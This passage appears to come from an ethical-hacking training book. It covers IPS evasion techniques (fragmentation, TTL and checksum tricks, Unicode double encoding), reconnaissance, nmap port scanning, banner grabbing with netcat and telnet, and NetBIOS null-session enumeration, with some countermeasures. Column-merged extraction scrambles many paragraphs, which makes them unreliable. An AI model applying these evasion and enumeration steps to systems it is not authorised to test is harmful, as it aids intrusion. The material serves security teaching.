Ability to correctly identify attacks and dropping packets accurately for known vulnerabilities for these services are tried.
ARP Spoofing: An Address Resolution Protocol (ARP) is used
Some IPS solutions offer the flexibility to implement different protection op-
to find a MAC address in a local network, when its IP address is
tions (rules) for different segments of the networks, which is especially useful
already known. A sending host usually broadcasts an ARP packet
for large networks. Some of them are capable of isolating the attack traffic to
(request) on the network requesting the MAC address of the host
a network segment and limiting the bandwidth to reduce the effect of network with a particular IP address and the same is sent back. By spoofing
threats. IPS helps identify and mitigate the following types of network threats. fake ARP requests from outside the network, the network traffic is
redirected to some other location with the information that might be
useful to the attackers.
Types of Network threats
CGI Attacks:It is possible for remote attackers to submit a malicious
ICMP Storms:High volumes of ICMP echoes may indicate maliciously web request containing Shell Meta characters (such as | etc.) to ex-
intended transmissions such as scanning for IP addresses etc. ecute arbitrary commands on a host running vulnerable CGI script.
If these commands are executed, an attacker can gain local or inter-
Ping to Death: A ping command is sent across a network to
active access to the host.
determine if another computer is active. A user to send an unusu-
ally large packet of information to the target computer, which might Buffer Overflow attacks:A buffer overflow occurs when a program
cause it to crash or go down temporarily, can misconfigure the ping or a process tries to store more data in a buffer than it was intended
command. to hold. This additional data can overflow into certain buffers and
can contain code to make specific actions to damage the users files,
SSL Evasion: An attacker tries to bypass the security device by
for example.
launching attacks using encrypted SSL tunnels as these are not
verified by the security devices. OS Fingerprinting attacks:OS Fingerprinting is a process of learn-
ing that Operating System is running on a device. Based on that
IP Fragmentation: Programs like Flag route intercepts, modifies
information, a hacker can perform a reconnaissance process on the
and rewrites egress traffic destined for a specific host thereby per-
network prior to launching an attack. The vulnerabilities of certain
petuating an attack.
Operating Systems are exploited with this information.
SMTP mass mailing attacks: SMTP DoS attacks from malformed
SMB Probes:A Server Message Block (SMB) protocol operates as an
email addresses cause unnecessary load on mail server.
application layer network protocol mainly used to provide shared
DoS/DDoS attacks: Attackers launch an attack on enterprise access to printers, files, serial ports etc. SMB probe attacks involving
network server by flooding it with a high number of connection re- file sharing or print sharing in MS Windows environment focus on
quests that appear genuine to the server. If the number of such con- scenarios where users put SMB protocol to work across different
nection requests exceeds the server request rate, it would prevent subnets across the Internet.
the genuine users from accessing the server. This is called a Denial
of Service (DoS) attack. In a Distributed Denial of Service attack,
attackers place malicious code on a lot of individual computers and
use them to simultaneously launch DoS attacks from various loca-
tions.
44 | www.iqspl.com www.iqspl.com | 45
Network IPS Evasion Techniques Timing Attacks
Network attackers often use network IPS evasion techniques to attempt to Attackers can evade detection by performing their actions slower than nor-
bypass the intrusion detection, prevention, and traffic filtering functions pro- mal, not exceeding the thresholds inside the time windows the signatures
vided by network IPS sensors. Some commonly used network IPS evasion use to correlate different packets together. These evasion attacks can be
techniques are listed below: mounted against any correlating engine that uses a fixed time window
and a threshold to classify multiple packets into a composite event. An
Encryption and Tunnelling
example of this type of attack would be a very slow reconnaissance attack
Timing Attacks sending packets at the interval of a couple per minute. In this scenario, the
attacker would likely evade detection simply by making the scan possibly
Resource Exhaustion unacceptably long.
Traffic Fragmentation
Protocol-level Misinterpretation Resource Exhaustion
Traffic Substitution and Insertion A common method of evasion used by attackers is extreme resource con-
sumption, though this subtle method doesnt matter if such a denial is
against the device or the personnel managing the device. Specialized tools
Encryption and Tunnelling can be used to create a large number of alarms that consume the resourc-
es of the IPS device and prevent attacks from being logged. These attacks
One common method of evasion used by attackers is to avoid detection sim- can overwhelm what is known as the management systems or server, da-
ply by encrypting the packets or putting them in a secure tunnel. As dis- tabase server, or out-of-band (OOB) network. Attacks of this nature can
cussed now several times, IPS sensors monitor the network and capture the also succeed if they only overwhelm the administrative staff, who do not
packets as they traverse the network, but network based sensors rely on the have the time or skill necessary to investigate the numerous false alarms
data being transmitted in plaintext. When and if the packets are encrypted, that have been triggered.
the sensor captures the data but is unable to decrypt it and cannot perform
meaningful analysis. This is assuming the attacker has already established Intrusion detection and prevention systems rely on their ability to capture
a secure session with the target network or host. Some examples that can be packets off the wire and analyse them quickly, but this requires the sen-
used for this method of encryption and tunnelling are: sor to have adequate memory capacity and processor speed. The attacker
can cause an attack to go undetected through the process of flooding the
network with noise traffic and causing the sensor to capture unnecessary
packets. If the attack is detected, the sensor resources may be exhausted
Secure Shell (SSH) connection to an SSH server
but unable to respond within a timely manner due to resources being ex-
Client-to-LAN IPSec (IP Security) VPN (virtual private network) tunnel hausted.
There are other types of encapsulation that the sensor cannot analyze and Fragmentation of traffic was one of the early networks IPS evasion tech-
unpack that attackers often use in an evasion attack. For example, GRE niques used to attempt to bypass the network IPS sensor. Any evasion
(Generic Route Encapsulation) tunnels are often used with or without en- attempt where the attacker splits malicious traffic to avoid detection or
cryption. filtering is considered a fragmentation-based evasion by:
Bypassing the network IPS sensor if it does not perform any reassembly
at all.
Reordering split data if the network IPS sensor does not correctly order
it in the reassembly process.
46 | www.iqspl.com www.iqspl.com | 47
Confusing the network IPS sensors reassembly methods which may target this is the first packet that actually reached it. The result is a com-
not reassemble split data correctly and result in missing the malicious promised host and the network IPS sensor ignored or missed the attack.
payload associated with it.
A few classic examples of fragmentation-based evasion are below:
Traffic Substitution and Insertion:
TCP segmentation and reordering, where the sensor must correctly re-
Another class of evasion attacks includes traffic substitution and inser-
assemble the entire TCP session, including possible corner cases, such
tion. Traffic substitution is when that attacker attempts to substitute pay-
as selective ACKs and selective retransmission.
load data with other data in a different format, but the same meaning. A
IP fragmentation, where the attacker fragments all traffic if the network network IPS sensor may miss such malicious payloads if it looks for data
IPS does not perform reassembly. Most sensors do perform reassem- in a particular format and doesnt recognize the true meaning of the data.
bly, so the attacker fragments the IP traffic in a manner that it is not Some examples of substitution attacks are below:
uniquely interpreted. This action causes the sensor to interpret it dif-
Substitution of spaces with tabs and vice versa, for example inside
ferently from the target, which leads to the target being compromised.
HTTP requests.
In the same class of fragmentation attacks, there is a class of attacks in-
Using Unicode instead of ASCII strings and characters inside HTTP re-
volving overlapping fragments. Inoverlapping fragments,the offset values
quests.
in the IP header dont match up, as they should; thus one fragment over-
laps another. The IPS sensor may not know how the target system will Exploit mutation, where specific malicious shell code (executable ex-
reassemble these packets and typically different operating systems handle ploit code that forces the target system to execute it) can be substituted
this situation differently. by completely different shell code with the same meaning and thus con-
sequences on the end host or target.
Exploit case sensitivity and changing case of characters in a malicious
Protocol-level Misinterpretation
payload, if the network IPS sensor is configured with case-sensitive sig-
Attackers also evade detection by causing the network IPS sensor to mis- nature.
interpret the end-to-end meaning of network protocols. In this scenario,
Insertion attacks act in the same manner in that the attacker inserts ad-
the traffic is seen differently from the target by the attacker causing the
ditional information that does not change the payload meaning into the
sensor either to ignore traffic that should not be ignored or vice versa. Two
attack payload. An example would be the insertion of spaces or tabs into
common examples are packets with bad TCP checksum and IP TTL (Time-
protocols that ignore such sequences.
to-live) attacks.
Unicodeprovides a unique identifier for every character in every language
A bad TCP checksum could occur in the following manner: An attack in-
to facilitate uniform computer representation of the worlds languages.
tentionally corrupts the TCP checksum of specific packets, thus confusing
The Unicode Consortium manages Unicode and has been adopted by the
the state of the network IPS sensor that does not validate checksums. The
majority of information technology industry leaders. Modern standards
attacker can also send a good payload with the bad checksum. The sensor
including Java, LDAP (Lightweight Directory Access Protocol), and XML
can process it, but most hosts will not. The attacker follows with a bad
require Unicode. Many operating systems and applications support
payload with a good checksum. From the network IPS sensor, this appears
Unicode. Also known as code points, Unicode can be represented by
to be a duplicate and will ignore it, but the end host will now process the
U+xxxx wherexis a hexadecimal digit.
malicious payload.
UTF-8 is the Unicode Transformation Format that serializes a Unicode
The IP TTL field in packets presents a problem to network IPS sensor be-
code point as a sequence of one to four bytes, as defined by the Unicode
cause there is no easy way to know the number of hops from the sensor
Consortium in its Corrigendum to Unicode 3.0.1. UTF-8 provides a way
to the end point of an IP session stream. Attackers can take advantage of
to encode Unicode points and still be compatible with ASCII, which is the
this through a method of reconnaissance by sending a packet that has a
common representation of text on the Internet.
very short TTL that will pass through the network IPS, but be dropped by a
router between the sensor and the target host due to a TTL equalling zero. Even though the Unicode specification dictates that the code points should
The attacker may then follow by sending a malicious packet with a long be treated differently there are times the application or operation system
TTL, which will make it to the end host or target. The packet looks like a can assign the same interpretation to different code points.
retransmission or duplicate packet from the attacker, but to the host or
48 | www.iqspl.com www.iqspl.com | 49
Cisco supports the following variations of its Unicode de-obfuscation Cisco IPS Evasion Tools & Anti-Evasion Features
though there are many different implementations of Unicode decoding (in-
cluding some free interpretations): Evasion Method Evasion Tool Cisco IPS Anti-Evasion Features
Traffic Fragroute, Full session reassembly in STRING
Fragmentation fragrouter and SERVICE engines
Ambiguous bits - Some decoder implementations ignore certain bits
in the encoding. For example, an application will treat %A9 and %C9 Traffic Substitution Metasploit, Data normalization (de-obfuscation)
identically, discarding the fifth bit in a UTF8 two octet encoding. and Insertion Nessus in SERVICE engines
Protocol-level IP TTL Validation
Alternate code pages- Most Windows-based personal computers have
Misinterpretation
extended Latin code pages loaded. Typically when an extended character TCP Checksum Validation
is processed, it is normalized to an ASCII equivalent character. Timing Attacks Nmap Configuration intervals and Use
Self-referencing directories- The directory name test/././app refers to of CS MARS and similar tools for
the same path as test/app. correlation
Encryption and Any encrypted GRE tunnel inspection
Double Encoding- The code point passes through two levels of encoding. Tunneling protocol
The base encoding can be either a single octet UTF-8 or Unicode %U
encoding (without variation). The second encoding can encode each Resource Stick Smart dynamic event summarization
octet of the base encoding with any encoding method and variation. Exhaustion
When utilized, a single character can be encoded in many unique ways,
such as listed below:
Above summarizes the evasion methods, tools and the corresponding IPS
o % can be represented at least 140 ways. anti-evasion features available on the Cisco IPS sensors. Though they are
covered in the table, the anti-evasion features are listed below:
o x can be represented at least 1000 ways on average.
Smart and dynamic summarization of events to guard against too many
o U can be represented at least 3260 ways. alarms for high event rates.
Multiple directory delimiters- Some operating systems will treat / and IP TTL analysis and TCP checksum validation to guard against end-to-
\ equivalently as directory delimiters. Repeated directory delimiters end protocol-level traffic interpretation.
are also ignored.
Full session reassembly that supports the STRING and SERVICE en-
Uuencoded octets mixed with encoded octets in a UTF8 sequence- Any gines that must examine a reliable byte stream between two network
octet except the first octet in a UTF8 sequence can be a uuencoded val- endpoints.
ue. A good example of this is the value 0x123 represented in UTF-8 is
%E0%84%A3, but the 84 being an ASCII value can also be represented Configurable intervals for correlating signatures, or the use of an exter-
with a UTF-8 value. nal correlation that does not require real-time resources, such as Cisco
Security MARS.
Microsoft base-36- Older version of Microsofts UTF8 decoder accept 36
characters (A-Z and 0-9) as valid hexadecimal characters in the UTF8 Data normalization (de-obfuscation) inside SERVICE engines, where all
encoding instead of the normal 16 characters (A-F and 0-9). This is signatures convert network traffic data into a normalized, canonical
often referred to as a decoder implementation error. form being comparing it to the signature matching rules.
Inspection of traffic inside GRE tunnels to prevent evasion through tun-
nelling.
50 | www.iqspl.com www.iqspl.com | 51
Tools: 3.5 User Management
A variety of free tools can be used for practice. Access in an information systems context has been defined simply as the
ability to do something with a computer resource (e.g. use, change or view).
Given this definition of access, user-access management therefore involves
Evader: managing who can use, change or view systems or information and the cir-
To test different evasion techniques, use the free tool Evader by the Helsin- cumstances in which such access is permissible.
ki-based security company Stonesoft, released on July 23, 2012. This tool The ISO 27001 Standard for Information Security Management Systems to
makes it possible to apply different evasion techniques to the attack. The tool have the following objectives defines user-access management:
is simply used to test different strategies and evasion techniques.
Ensure authorised user access
http://evader.stonesoft.com/
Prevent unauthorised access to information systems.
Libemu:
libemu is a small software package that offers x86 shellcode emulation capa- Expanding on the objectives from ISO 27001, a broad set of business-level
bilities. It can be used to test potential malicious payloads and identify Win32 objectives for user-access management can be defined as follows:
API calls. Paul Baecher and Markus Koetter released it in 2007. Allow only authorised users to have access to information and resources
http://libemu.carnivore.it Restrict access to the least privileges required by these authorised users to
fulfil their business role
Wireshark: Wireshark is a widely used software package for network traffic Ensure access controls in systems correspond to risk management objec-
capture and analysis. It can be used to analyse the traffic between the attack- tives
er, the IPS and the target host. Log user-access and system use, and ensure that the system can be audit-
http://www.wireshark.org/ ed in line with the systems risk profile.
To reach these objectives, the standard identifies four primary controls for
managing access rights. These are:
HxD
User registration: formal approval and documentation of user access to
HxD is a freely available hex-editor created by Mal Hrz. It can used to view information systems allows an organisation to track and verify the individ-
raw hex data conveniently. uals who have access to specific systems and services.
http://mh-nexus.de/en/hxd/ Privilege management: formalised processes for granting and revoking
privileges allow an organisation to track and audit changes to user-access
rights and determine the privilege levels of specific individuals.
User password/token management: as passwords remain commonplace,
standard processes for allocating and resetting user passwords reduce un-
necessary exposure of temporary or default passwords and minimise the
effectiveness of social engineering attacks against security administration
staff. Policies that mandate minimal levels of password length and com-
plexity also reduce the effectiveness of common password attacks. How-
ever, passwords alone no longer provide a satisfactory solution for critical
systems and services. The use of two factor models involving the use of
tokens and other credentials (e.g. biometrics) also requires similar holistic
management processes.
Review of user access rights: identify improperly assigned privileges and
allow an organisation to realign granted access rights with authorised ac-
cess rights.
52 | www.iqspl.com www.iqspl.com | 53
As with a defence in depth strategy, user-access management cannot be ad-
dressed solely at a technical level. Rather, an effective layered approach to us-
Chapter 4.
er-access management requires controls to be implemented at the four levels of: Ethical Hacking Steps
Governance
People
Process Objectives:
Technology Foot-Printing & Reconnaissance
Scanning
Enumeration
System Hacking
Maintaining Access
Governance, people, process and technology
Covering Track
54 | www.iqspl.com www.iqspl.com | 55
Reconnaissance: Sniffing the network is another means of passive reconnaissance and can
yield useful information such as IP address ranges, naming conventions, hid-
This step is also known as information gathering or foot printing.
den servers or networks and other available services on the system or network
The term reconnaissance comes from the military and means to actively seek
Active reconnaissance involves probing the network to discover individual
an enemys intentions by collecting and gathering information about an ene-
hosts, IP addresses and services on the network.
mys composition and capabilities via direct observation, usually by scouts or
military intelligence personnel trained in surveillance. In the world of ethical Both passive and active reconnaissance can lead to the discovery of useful
hacking, reconnaissance applies to the process of information gathering. information to use in an attack.
The first step of the hacking process is gathering information on a target. For example, its possible to find the type of web server and the operating sys-
tem (OS) version number that a target is using. This information may enable
Foot printing is defined as the process of creating a blueprint or map of an
a hacker to find vulnerability in that OS version and exploit the vulnerability
organizations network and systems. Information gathering is also known as
to gain more access.
footprinting an organization. Footprinting begins by determining the target
system, application or physical location of the target. Once this information is
known, specific information about the organization is gathered using non-in-
Footprinting Tools
trusive methods. For example, the organizations own web page may provide
a personnel directory or a list of employees, which may prove useful if the Footprinting can be done using hacking tools, either applications or websites,
hacker needs to use a social-engineering attack to reach the objective. Once which allow the hacker to locate information passively. By using these foot-
this information is compiled, it can give a hacker better insight into the or- printing tools, a hacker can gain some basic information of the target.
ganization, where valuable information is stored and how it can be accessed.
Information gathering can be done by the following means:
Here are some of the pieces of information to be gathered about a target
during footprinting:
Domain name 1. Extracting Archive of Website using (www.archive.org)
56 | www.iqspl.com www.iqspl.com | 57
WHOIS
Archive.org
NsLookup
WayBack machine
58 | www.iqspl.com www.iqspl.com | 59
SamSpade Scanning
After the reconnaissance and information-gathering stages have been com-
pleted, scanning is performed. During scanning, the hacker continues to
gather information regarding the network and its individual host systems.
Information such as IP addresses, operating system, services, and installed
applications can help the hacker determine which type of exploit to use in
hacking a system. Scanning is the process of locating systems that are alive
and responding on the network.
Types of Scanning
Traceroute
Purpose of Scanning
Detecting live machines on the target network
Discovering services running on targeted servers
Identifying which TCP and UDP services are running
Identifying the operating system
PING
Ping is a useful ICMP utility to measure the speed at which packets are moved
across the network, and to get some basic details about the target, like Time-
To-Live (TTL) details.
Ping helps in assessing network traffic by time stamping each packet. It can
also be used for resolving host names. Ping is a very simple utility. It sends
an echo request to a target host and then waits for the target to send an echo
reply back. Ping sends out an ICMP Echo Request packet and awaits an ICMP
Echo Reply message from an active machine:
60 | www.iqspl.com www.iqspl.com | 61
Ping Sweeps
Pinging 192.168.0.1 with 32 bytes of data: Since its often time-consuming and tedious to ping every possible address
individually, a technique known as a ping sweep can be performed that will
Reply from 192.168.0.1: bytes=32 time=2ms TTL=127 ping a batch of devices and help the attacker determine which ones are active.
Reply from 192.168.0.1: bytes=32 time=1ms TTL=127 Ping sweeps aid in network mapping by polling network blocks or IP address
ranges rather than individual hosts. Pinged hosts will often reply with an
Reply from 192.168.0.1: bytes=32 time=2ms TTL=127
ICMP Echo reply indicating that they are alive, whereas no response may
Reply from 192.168.0.1: bytes=32 time=2ms TTL=127 mean the target is down or non-existent or that the ICMP protocol is disabled.
62 | www.iqspl.com www.iqspl.com | 63
Tools that can be used to detect ping sweeps of a network are very useful. 2. A closed port is not accepting connectivity.
Some of these ping sweep detection utilities include:
3. A filtered port has some type of network device, like a firewall, prevent-
Network-based IDS (www.snort.org) ing the port from being probed to discover whether its open or closed.
Genius (www.indiesoft.com)
The Nmap utility has the ability to determine the state of a port. Port scanning
BlackICE (www.networkice.com) is the process of connecting to TCP and UDP ports for the purpose of finding
Scanlogd (www.openwall.com/scanlogd) what services and applications are running on the target device.
TCP provides a full-duplex, connection-oriented, reliable protocol. Incom-
Identifying Open Ports and Available Services ing TCP packets are sequenced to match the original transmission sequence
numbers. Because any lost or damaged packets are retransmitted, TCP is very
Now that youve learned the network range and acquired a list of active com- costly in terms of network overhead and is slower than UDP. Reliable data
puters, the next step is to locate any open ports on those machines and iden- transport is addressed by TCP to ensure that the following goals are achieved:
tify the services running that might give you a route in. Techniques to locate
these ports and discover services include:
Port scanning An acknowledgment is sent back to the sender upon the receipt of de-
livered segments.
Banner grabbing
War dialing Any unacknowledged segments are retransmitted.
War walking Segments are sequenced back in their proper order upon arrival at their
destination.
Port Scanning A manageable data flow is maintained in order to avoid congestion,
overloading, and data loss.
Port scanning is the process of identifying open and available TCP/IP ports
on a system. Port-scanning tools enable a hacker to learn about the services
available on a given system. Each service or application on a machine is as-
sociated with a well-known port number. UDP is similar to TCP but gives only a best-effort delivery, which means it
offers no error correction, does not sequence the packet segments, and does
Port Numbers are divided into three ranges: not care in which order the packet segments arrive at their destination. Con-
Well-Known Ports: 0-1023 sequently, its referred to as an unreliable protocol. UDP does not create a
virtual circuit and does not contact the destination before delivering the data.
Registered Ports: 1024-49151
Therefore, it is also considered a connectionless protocol. UDP imposes much
Dynamic Ports: 49152-65535 less overhead than TCP, however, which makes it faster for applications that
can afford to lose a packet now and then, such as streaming video or audio.
64 | www.iqspl.com www.iqspl.com | 65
Difference between TCP and UDP protocol for establishing a connection (three-way handshake), restarting a failed con-
nection, and finishing a connection is part of the protocol. These protocol no-
tifications are called flags. TCP contains ACK, RST, SYN, URG, PSH and FIN
flags. The following list identifies the function of the TCP flags:
FIN: A FIN scan is similar to an XMAS scan but sends a packet with just the
FIN flag set. FIN scans receive the same response and have the same limita-
tions as XMAS scans. The typical TCP scan attempts to open connections.
TCP Three Way Handshaking Another technique sends erroneous packets at a port, expecting that open
listening ports will send back different error messages than closed ports. The
scanner sends a FIN packet, which should close a connection that is open.
In order to complete the three-way handshake and make a successful connec- Closed ports reply to a FIN packet with a RST. If no service is listening at the
tion between two hosts, the sender must send a TCP packet with synchronize target port, the operating system will generate an error message. If a service is
(SYN) bit set. Then, the receiving system responds with a TCP packet with listening, the operating system will silently drop the incoming packet.
synchronize (SYN) and acknowledge (ACK) bit set to indicate that the host Therefore, silence indicates the presence of a service at the port. However,
is ready to receive data. The source system sends a final packet with the ac- since packets can be dropped accidentally on the wire or blocked by firewalls,
knowledge (ACK) bit set to indicate the connection is complete and data is this isnt a very effective scan.
ready to be sent. Because TCP is a connection-oriented protocol, a process
66 | www.iqspl.com www.iqspl.com | 67
NULL: NULL scans where none of the bits are set. A NULL scan is also similar
to XMAS and FIN in its limitations and response, but it just sends a packet
with no flags set.
Nmap tool:
There are so many automatic port scanners available on the Internet, but
the most common and popular tool is Nmap. Nmap is a network mapper and
a powerful, flexible, freely available and easy to use tool. It is available for
both Linux and Windows based operating systems.
Nmap is a free open source tool that quickly and efficiently performs ping
sweeps, port scanning, service identification, IP address detection, and op-
Nmap Scans
erating system detection. Nmap has the benefit of scanning of large number
of machines in a single session. It is supported by many operating systems,
including UNIX, Windows and Linux.
To perform an Nmap scan, at the Windows command prompt, type Nmap
IPaddress followed by any command switch used to perform specific type of
Nmap has numerous command switches to perform different types of scans. scans. For example, to scan the host with the IP address 192.168.0.1 using a
TCP connects scan type, enter the command:
Nmap Command Scan Performed
Nmap 192.168.0.1 sT
-sT TCP connect scan
-sS SYN scan Port scans countermeasures
-sF FIN scan Proper security architecture, such as implementation of IDS and fire-
-sX XMAS tree scan walls should be followed.
-sN Null scan The firewall should be able to detect the probes sent by port-scanning
-sP Ping scan tools.
-sU UDP scan The firewall should carry out stateful inspections, which means it
-sO Protocol scan examines the data of the packet and not just the TCP header to deter-
mine whether the traffic is allowed to pass through the firewall.
-sA ACK scan
-sW Windows scan Network IDS should be used to identify the OS-detection method used
by some common hackers tools.
-sR RPC scan
Only needed ports should be kept open. The rest should be filtered or
-sL List / DNS scan
blocked.
-sI Idle scan
Determining the Operating System
-Po Dont ping
-PT TCP ping Determining the type of OS is also an objective of scanning, as this will deter-
-PS SYN ping mine the type of attack to be launched. Sometimes a targets operating system
-PI ICMP ping details can be found very simply by examining its Telnet banners or its File
Transfer Protocol (FTP) servers, after connecting to these services. We discuss
banner grabbing later.
68 | www.iqspl.com www.iqspl.com | 69
TCP/IP stack fingerprinting is another technique to identify the particular A. Active stack fingerprinting is the most common form of fingerprinting.
version of an operating system. Since OS and device vendors implement TCP/ It involves sending data to a system to see how the system responds. Its
IP differently, these differences can help in determining the OS. We describe based on the fact that various operating system vendors implement the
fingerprinting in more detail later. TCP stack differently and responses will differ based on the operating
system. The responses are then compared to a database to determine
the operating system. Active stack fingerprinting is detectable because
Banner Grabbing it repeatedly attempts to connect with the same target system.
One of the easiest ways to discover what services are running on the open ports B. Passive stack fingerprinting is stealthier and involves examining traf-
is by banner grabbing. Banner grabbing also provides important information fic on the network to determine the operating system. It uses sniffing
about what type and version of software is running. Although most port scan- techniques instead of scanning techniques. Passive stack fingerprinting
ners can perform banner grabbing, it can be performed with just native Telnet usually goes undetected by an IDS or other security system but is less
or FTP. If the web server is not properly patched, Telnet can be used to grab accurate than active fingerprinting.
HTTP, FTP and SMTP server information, using the command syntax:
Telnet (IP Address) (Port #).
War Dialling
For example, executing a Telnet banner grab against a Microsoft-IIS server Since modems have very weak authentication and often proliferate unchecked
creates the following result: throughout an organization, they can present a readily available back door
C:\>telnet 192.168.0.100 80 into the network for an attacker and aid to discovering running services. War
dialling is the term given to accessing a network by using a modem and soft-
HTTP/1.1 400 Bad Request ware to scan for target systems with attached modems. Information about
these modems can then be used to attempt external unauthorized access.
Server: Microsoft-IIS/5.0
War diallers automatically test every phone line in an exchange to try to locate
Another way to grab banners is to use the free utility Netcat (http://netcat. modems that are attached to the network. A war dialler is a tool used to scan
sourceforge.net). Netcat has many uses, including banner grabbing. To grab a large pool of telephone numbers to try to detect vulnerable modems for pro-
a banner, execute Netcat from the command line with the syntax: viding access to a system. The program may search for dial tones by randomly
dialling numbers within a specific bank of numbers or by looking for a modem
or fax connection.
nc -v -n IP-Address Port
70 | www.iqspl.com www.iqspl.com | 71
Wireless Scanners Tracking the attackers IP address through the logs of several proxy servers is
complex and tedious work. If one of the proxy servers log files is lost or incom-
A bunch of wireless scanning tools have been popping up recently and many
plete, the chain is broken and the hackers IP address remains anonymous.
of them are free. Some of these are:
Anonymizers: Anonymizers are services that attempt to make web surfing
NetStumbler
anonymous by utilizing a website that acts as a proxy server for the web client.
MiniStumbler
The anonymizer removes all the identifying information from a users comput-
AirSnort
ers while the user surfs the Internet, thereby ensuring the privacy of the user.
Kismet
Scanning Tools To visit a website anonymously, the hacker enters the website address into
the anonymizer software and the anonymizer software makes the request to
IPEye the selected site. All requests and web pages are relayed through the ano-
IPSec Scan nymizer site, making it difficult to track the actual requester of the webpage.
Netscan There are lots of websites that help to surf anonymously.
Icmpenum
Hping2
THC-Scan HTTP Tunnelling Techniques
SNMP Scanner
HTTP Tunnelling is a technique by which communications performed using
various network protocols are encapsulated using the HTTP protocol, the net-
Drawing Network Diagrams of Vulnerable Hosts
work protocols in question usually belonging to the TCP/IP family of proto-
A network diagram assists you to understand the network structure that will cols.
help in attack phase. A number of network-management tools can assist you
with this step. Such tools are generally used to manage network devices but The HTTP protocol therefore acts as a wrapper for a covert channel that the
can be turned against security administrators by enterprising hackers. network protocol being tunnelled uses to communicate.
SolarWinds Toolset, Queso, Harris Stat and Cheops are all network-manage-
ment tools that can be used for operating system detection, network diagram IP Spoofing
mapping, listing services running on a network, generalized port scanning,
and so on. These tools diagram entire networks in a GUI interface including A hacker can spoof an IP address when scanning target systems to minimize
routers, servers, hosts and firewalls. Most of these tools can discover IP ad- the chance of detection. One drawback of spoofing an IP address is that a
dresses, host names, services, operating systems and version information TCP session cant be successfully completed. Source routing lets an attacker
specify the route that a packet takes through the Internet. This can also min-
imize the chance of detection by bypassing IDS and firewalls that may block
or detect the attack. Source routing uses a reply address in the IP header to
Use of Proxy Servers in Launching an Attack
return the packet to a spoofed address instead of the attackers real address.
A proxy server is a computer that acts as an intermediary between the hacker
To detect IP address spoofing, you can compare the time to live (TTL) values:
and the target computer. Using a proxy server can allow a hacker to become
The attackers TTL will be different from the spoofed addresss real TTL.
anonymous on the network. The hacker first makes a connection to the proxy
server and then requests a connection to the target computer via the existing
connection to the proxy.
Sockschain: It is a tool that gives a hacker the ability to attack through a chain
of proxy servers. The main purpose of doing this is to hide the hackers real IP
address and therefore minimize the chance of detection. When a hacker works
through several proxy servers in series, its much harder to locate the hacker.
72 | www.iqspl.com www.iqspl.com | 73
1. Extract usernames using enumeration.
2. Gather information about the host using null sessions.
3. Perform Windows enumeration using the Superscan tool.
4. Acquire the user accounts using the tool GetAcct.
5. Perform SNMP port scanning.
Many hacking tools are designed for scanning IP networks to locate NetBIOS
name information. For each responding host, the tools list IP address, NetBI-
OS computer name, logged in username and MAC address information. On
a Windows 2000 domain, the built-in tool net view can be used for NetBIOS
enumeration. To enumerate NetBIOS names using the net view command,
enter the following at the command prompt:
Enumeration
net view /domain
Enumeration occurs after scanning and is the process of gathering and com-
piling usernames, machine names, network resources, shares and services. nbtstat -A <IP address>
It also refers to actively querying or connecting to a target system to acquire
this information.
The net view command is a great example of a built-in enumeration tool. net
view is an extraordinarily simple command-line utility that will list domains
available on the network and then lay bare all machines in a domain. Here is
how to enumerate domains on the network using net view:
C:\>net view /domain
Another great built-in tool is nbtstat, which calls up the NetBIOS Name Table
from a remote system. The Name Table contains a great deal of information,
as seen in the following example:
C:\>nbtstat -A 192.168.202.33
During the enumeration stage, the hacker connects to computers in the tar-
get network and pokes around these systems to gain more information. While NetBIOS
the scanning phase might be compared to a knock on the door or a turn of
the doorknob to see if it is locked, enumeration could be compared to entering Microsofts Network Basic Input/Output System (NetBIOS) is a standard in-
an office and rifling through a file cabinet or desk drawer for information. It is terface between networks and PCs that enables applications on different com-
definitely more intrusive. puters to communicate within a LAN. NetBIOS was created by IBM for its
early PC network, was adopted by Microsoft and adapted to run over TCP/IP
The object of enumeration is to identify a user account or system account for and has since become the de facto industry standard. NetBIOS is not natively
potential use in hacking the target system. It isnt necessary to find a system routable across a Wide Area Network (WAN) and is therefore used primarily
administrator account, because most account privileges can be escalated to on Local Area Networks (LANs). NetBIOS systems identify themselves with a
allow the account more access than was previously granted. 15-character unique name and use Server Message Blocks (SMB), which al-
low remote directory, file and printer sharing. This feature makes NetBIOS a
hackers playground. The NetBIOS Name Resolution service listens on UDP
Steps of Enumeration
port 137; when it receives a query on this port, it responds with a list of all
Hackers need to be methodical in their approach to hacking. The following services it offers. NetBIOS uses two more ports i.e. 138 and 139.
steps are an example of those a hacker might perform in preparation for hack-
ing a target system:
74 | www.iqspl.com www.iqspl.com | 75
Tools for Enumeration Users and host SIDs (Security Identifiers)
i. DumpSec is a NetBIOS enumeration tool. It connects to the target sys- Null sessions can also be used to establish connections to shares, including
tem as a null user with the net use command. It then enumerates us- such system shares as \\servername\IPC$. The IPC$ is a special hidden
ers, groups, NTFS permissions and file ownership information. share. Null sessions make the enumeration of users, machines and resources
easier for administrative purposes especially across domains. This is the lure
ii. Hyena is a tool that enumerates NetBIOS shares and additionally can for the attacker who intends to use a null session to connect to the machine.
exploit the null session vulnerability to connect to the target system
and change the share path or edit the registry. During port scanning, the attacker takes note of any response from TCP port
139 and 445. Why would these ports interest an attacker? The answer lies in
iii. The SMB Auditing Tool is a password-auditing tool for the Windows the SMB protocol.
and Server Message Block (SMB) platforms. Windows uses SMB to com-
municate between the client and server. The SMB Auditing Tool is able
to identify usernames and crack passwords on Windows systems. The SMB (Server Message Block) protocol is known for its use in file sharing
iv. The NetBIOS Auditing Tool is another NetBIOS enumeration tool. Its on Windows NT/2000 series among other things. Attackers can potentially
used to perform various security checks on remote servers running Net- intercept and modify unsigned SMB packets, then modify the traffic and for-
BIOS file sharing services ward it so that the server might perform undesirable actions. Alternatively,
the attacker could pose as the server or client after a legitimate authentication
v. User2SID and SID2User are command-line tools that look up Windows and gain unauthorized access to data.
service identifiers (SIDs from username input and vice versa.)
vi. Enum is a command-line enumeration utility. It uses null sessions and
can retrieve usernames, machine names, shares, group and member- NetBIOS Enumeration and Null Session Countermeasures
ship lists, passwords and Local Security policy information. Enum is The NetBIOS null session use specific port numbers on the target machine.
also capable of brute-force dictionary attacks on individual accounts. Null sessions require access to TCP ports 135, 137,139 and/or 445. One
vii. UserInfo is a command-line tool thats used to gather usernames and countermeasure is to close these ports on the target system. This can be ac-
that can also be used to create new user accounts. complished by disabling SMB services on individual hosts by unbinding the
TCP/IP WINS client from the interface in the network connections properties.
viii. GetAcct is a GUI-based tool that enumerates user accounts on a sys-
tem. An attacker will use the information gained from NULL sessions and try to
